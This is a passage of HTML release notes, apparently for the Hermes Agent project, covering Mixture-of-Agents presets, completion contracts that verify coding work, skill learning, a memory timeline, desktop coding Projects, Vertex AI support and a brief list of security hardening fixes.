<p><strong>See every model's reasoning, then watch the answer stream in</strong> — When a MoA ensemble runs, each reference model's full output now renders as its own labelled block — you can read what GPT-5 thought, what Claude thought, and what Grok thought, before the aggregator synthesizes them into one answer. And that final answer now streams to you live instead of appearing all at once after a long silence. This works in the CLI, the TUI, and the desktop app. You get to watch the committee deliberate, not just read the verdict. (<a href="https://github.com/NousResearch/hermes-agent/pull/53793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53793/hovercard">#53793</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53855/hovercard">#53855</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55625/hovercard">#55625</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56101/hovercard">#56101</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The agent verifies its own work — "done" means proven, not claimed</strong> — Hermes now records verification evidence for coding work and can decide it's finished by actually running your project's checks, not by asserting success. <code>/goal</code> gained <strong>completion contracts</strong>: you state what "done" looks like, and the standing-goal loop judges completion against that evidence instead of stopping when the model feels like it. There's a <code>pre_verify</code> hook for wiring in custom checks and a one-time migration that tunes the defaults sensibly. The difference between "I think I fixed it" and "the tests pass, here's proof." (<a href="https://github.com/NousResearch/hermes-agent/pull/50501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50501/hovercard">#50501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52285/hovercard">#52285</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55413/hovercard">#55413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53552/hovercard">#53552</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong><code>/learn</code> — turn anything into a reusable skill by describing it</strong> — Run <code>/learn &lt;anything&gt;</code> and Hermes distills a reusable skill out of whatever you point it at — a directory, a URL, or just the workflow you walked it through five minutes ago. It writes the skill to the standards in your CONTRIBUTING.md automatically. The next time you need that workflow, it's already there. Teaching Hermes a new trick is now a single command, not a manual skill-authoring session. (<a href="https://github.com/NousResearch/hermes-agent/pull/51506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51506/hovercard">#51506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52372" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52372/hovercard">#52372</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong><code>/journey</code> — a playable timeline of everything Hermes has learned about you</strong> — The CLI and TUI gained <code>/journey</code>, a learning timeline that shows the memories and skills Hermes has accumulated over time — and you can edit or delete any of them right from the view. Pair it with the desktop's new <strong>memory graph</strong> (a top-down, playable radial timeline of memories and skills) and for the first time you can actually <em>see</em> what your agent knows, watch it grow, and prune what's wrong. Your agent's memory stops being a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/55555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55555/hovercard">#55555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55859/hovercard">#55859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55226/hovercard">#55226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Delegate a pile of work and keep going — background fan-out</strong> — <code>delegate_task</code> can now fan out multiple subagents that all run in the <strong>background</strong>: your chat is never blocked, and when every subagent finishes, their results come back as a single consolidated turn. Kick off "research these five competitors in parallel" or "audit these three modules," then carry on with something else while a small fleet works. When it's all done, you get one clean summary instead of babysitting each one. (<a href="https://github.com/NousResearch/hermes-agent/pull/49734" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49734/hovercard">#49734</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>First-class coding Projects in the desktop app</strong> — The desktop app gained real, per-profile <strong>Projects</strong> — a sidebar of your codebases, a coding rail, a review pane, git worktree management, and agent-facing project tools, all backed by a proper <code>project → repo → lane</code> model. Instead of scattered chat sessions, your coding work is organized into projects the agent understands and can act on. It's the desktop turning into an actual coding cockpit. (<a href="https://github.com/NousResearch/hermes-agent/pull/49037" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49037/hovercard">#49037</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54385" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54385/hovercard">#54385</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54517" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54517/hovercard">#54517</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Run Hermes at scale — scale-to-zero and drain coordination</strong> — The gateway can now go <strong>dormant when idle</strong> and quiesce cleanly before a restart, migration, or auto-update — without dropping in-flight conversations. A hosted or relay-only Hermes can scale to zero when nobody's talking to it and wake back up on demand, and disruptive lifecycle actions coordinate an external drain so nobody gets cut off mid-turn. Running Hermes for a team or as a hosted service just got a lot more production-grade. (<a href="https://github.com/NousResearch/hermes-agent/pull/52243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52243/hovercard">#52243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52937" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52937/hovercard">#52937</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54824/hovercard">#54824</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</p>
</li>
<li>
<p><strong>Cheaper self-improvement — smarter background review</strong> — The post-turn self-improvement fork (the one that decides whether to save a memory or skill) now routes to an auxiliary model, digests context instead of replaying the whole conversation, and adapts its cadence — so the "learn from what just happened" loop that runs after your turns costs a fraction of what it used to. You keep the self-improvement, you stop paying full main-model price for it. (<a href="https://github.com/NousResearch/hermes-agent/pull/49252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49252/hovercard">#49252</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Compose your next prompt in your editor — <code>/prompt</code></strong> — <code>/prompt</code> opens your <code>$EDITOR</code> so you can hand-write a long, multi-line prompt in real markdown instead of fighting a one-line input box. Draft a detailed spec, a structured question, or a big paste, save, and it's queued as your next message. Small thing, huge quality-of-life win for anyone who writes Hermes more than a sentence at a time. (<a href="https://github.com/NousResearch/hermes-agent/pull/50509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50509/hovercard">#50509</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Google Vertex AI — Gemini through your GCP service account, no static key</strong> — Vertex AI is now a first-class provider for Gemini models over Vertex's OpenAI-compatible endpoint. The reason a plain custom-provider setup always died mid-session is that Vertex has no static API key — every request needs a short-lived OAuth2 access token (~1h TTL) minted from a service-account JSON or Application Default Credentials. Hermes now mints and auto-refreshes those tokens for you, so if your org runs Gemini through Google Cloud, you point Hermes at your service account and it just works — no token-pasting, no mid-session expiry. (<a href="https://github.com/NousResearch/hermes-agent/pull/56363" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56363/hovercard">#56363</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a>)</p>
</li>
<li>
<p><strong>Security round</strong> — This window hardened several surfaces: MCP-config persistence attack surface locked down, cron <code>base_url</code> overrides that could exfiltrate provider credentials blocked, a non-reusable sentinel for prefix secrets in file reads, Slack app-level (<code>xapp-</code>) token redaction, a browser cloud-metadata floor enforced on every backend, and an <code>aiohttp</code> CVE floor across the lazy messaging paths. Fewer ways for a prompt-injected or misconfigured session to leak a credential. (<a href="https://github.com/NousResearch/hermes-agent/pull/50476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50476/hovercard">#50476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56196" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56196/hovercard">#56196</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54166/hovercard">#54166</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56227/hovercard">#56227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52349" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52349/hovercard">#52349</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56237/hovercard">#56237</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>)</p>
</li>
</ul>
<hr>
<h2>🧠 Mixture-of-Agents (MoA)</h2>
<p>MoA graduated from a mode to a first-class part of the model system this window.</p>
<ul>
<li><strong>Presets as selectable virtual models</strong> — each named MoA preset appears as a model under provider <code>moa</code>; pick it in any model picker and Hermes routes through the ensemble (<a href="https://github.com/NousResearch/hermes-agent/pull/46081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46081/hovercard">#46081</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53561/hovercard">#53561</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53775/hovercard">#53775</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/moa</code> is now one-shot sugar</strong> — runs a single prompt through the default preset and restores your model afterward; persistent switching goes through the model picker (<a href="https://github.com/NousResearch/hermes-agent/pull/53548" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53548/hovercard">#53548</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Reference-model output shown as labelled blocks</strong> in CLI, TUI, and desktop — read each model's reasoning before the aggregator's synthesis (<a href="https://github.com/NousResearch/hermes-agent/pull/53793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53793/hovercard">#53793</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53855/hovercard">#53855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Aggregator response streams live</strong> instead of appearing whole after a silence (<a href="https://github.com/NousResearch/hermes-agent/pull/55625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55625/hovercard">#55625</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>References see full tool state and fire on every user/tool response</strong>; advisory references end on a user turn and get a reference-role system prompt (<a href="https://github.com/NousResearch/hermes-agent/pull/54016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54016/hovercard">#54016</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54007/hovercard">#54007</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Opt-in full-turn trace persistence to JSONL</strong> (<code>moa.save_traces</code>) for debugging and eval (<a href="https://github.com/NousResearch/hermes-agent/pull/56101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56101/hovercard">#56101</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Reliability: reference + aggregator models called through their provider's real route; context window resolved from the aggregator (not the 256K default); auxiliary tasks resolve to the aggregator; virtual provider blocked as a reference/aggregator slot; tolerant of hand-edited preset config (<a href="https://github.com/NousResearch/hermes-agent/pull/53580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53580/hovercard">#53580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53780" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53780/hovercard">#53780</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53827" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53827/hovercard">#53827</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53281" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53281/hovercard">#53281</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53275/hovercard">#53275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53556" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53556/hovercard">#53556</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA slot provider-identity unified on the single <code>call_llm</code> chokepoint; HermesBench results documented (<a href="https://github.com/NousResearch/hermes-agent/pull/55991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55991/hovercard">#55991</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53206/hovercard">#53206</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>✅ Verification &amp; Goals — the agent proves its work</h2>
<ul>
<li><strong>Completion contracts for <code>/goal</code></strong> — state what "done" looks like; the standing-goal loop judges against evidence, not the model's say-so (<a href="https://github.com/NousResearch/hermes-agent/pull/50501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50501/hovercard">#50501</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/goal wait &lt;pid&gt;</code></strong> — park the standing-goal loop on a background process instead of re-poking the agent (<a href="https://github.com/NousResearch/hermes-agent/pull/50503" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50503/hovercard">#50503</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Coding verification evidence ledger</strong> — profile-scoped record of canonical project checks detected by <code>agent.coding_context</code>; gateway exposes verification status (<a href="https://github.com/NousResearch/hermes-agent/pull/52285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52285/hovercard">#52285</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52286/hovercard">#52286</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong><code>pre_verify</code> hook + coding guidance config</strong>; verification stop loop + ad-hoc verification scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/55413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55413/hovercard">#55413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52296" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52296/hovercard">#52296</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52297" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52297/hovercard">#52297</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>verify-on-stop defaults OFF</strong> with a one-time v32 migration; skips doc-only edits; surface-aware "auto" default restored; gated off for messaging surfaces (<a href="https://github.com/NousResearch/hermes-agent/pull/53552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53552/hovercard">#53552</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54740" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54740/hovercard">#54740</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55449/hovercard">#55449</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52412" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52412/hovercard">#52412</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>)</li>
</ul>
<h2>🎓 Self-Improvement (Learn / Journey)</h2>
<ul>
<li><strong><code>/learn &lt;anything&gt;</code></strong> — distill a reusable skill from a directory, URL, or a workflow you just walked through; honors CONTRIBUTING.md skill standards and mixed requirements (<a href="https://github.com/NousResearch/hermes-agent/pull/51506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51506/hovercard">#51506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52372" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52372/hovercard">#52372</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55956" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55956/hovercard">#55956</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/journey</code></strong> — CLI + TUI learning timeline of accumulated memories and skills, with in-place edit/delete (<a href="https://github.com/NousResearch/hermes-agent/pull/55555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55555/hovercard">#55555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55859/hovercard">#55859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Cheaper background review</strong> — aux-model routing + context digest + adaptive cadence for the post-turn self-improvement fork (<a href="https://github.com/NousResearch/hermes-agent/pull/49252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49252/hovercard">#49252</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>memory</code> graph</strong> in the desktop — playable radial timeline of memories + skills over time (<a href="https://github.com/NousResearch/hermes-agent/pull/55226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55226/hovercard">#55226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<h3>Coding cockpit</h3>
<ul>
<li><strong>First-class Projects</strong> — per-profile sidebar, coding rail, review pane, agent project tools (<code>project → repo → lane</code>); remote-gateway-aware folder picker + git cockpit (status, review, worktrees) (<a href="https://github.com/NousResearch/hermes-agent/pull/49037" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49037/hovercard">#49037</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54385" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54385/hovercard">#54385</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Multi-terminal panel</strong> with read-only agent terminals; persist &amp; restore terminal tabs + scrollback across relaunch (<a href="https://github.com/NousResearch/hermes-agent/pull/54517" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54517/hovercard">#54517</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54585" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54585/hovercard">#54585</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>PR-style file diffs in chat</strong>; in-app spot editor for the file preview pane; inline rich embeds, diagrams &amp; alerts in assistant markdown (<a href="https://github.com/NousResearch/hermes-agent/pull/50731" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50731/hovercard">#50731</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52772/hovercard">#52772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52935" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52935/hovercard">#52935</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>UX &amp; surfaces</h3>
<ul>
<li>Conversation timeline rail for long threads; context-usage breakdown popover; read-only spectator transcript for subagent watch windows; pop the composer into a draggable floating window (<a href="https://github.com/NousResearch/hermes-agent/pull/51094" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51094/hovercard">#51094</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54907/hovercard">#54907</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55033/hovercard">#55033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49488" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49488/hovercard">#49488</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</li>
<li>Read replies aloud (auto-TTS) composer toggle; remember window size/position/maximized across launches; redesigned clarify prompt; shared overlay Panel primitive for cron/profiles/agents (<a href="https://github.com/NousResearch/hermes-agent/pull/55154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55154/hovercard">#55154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52086/hovercard">#52086</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52993/hovercard">#52993</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54558/hovercard">#54558</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
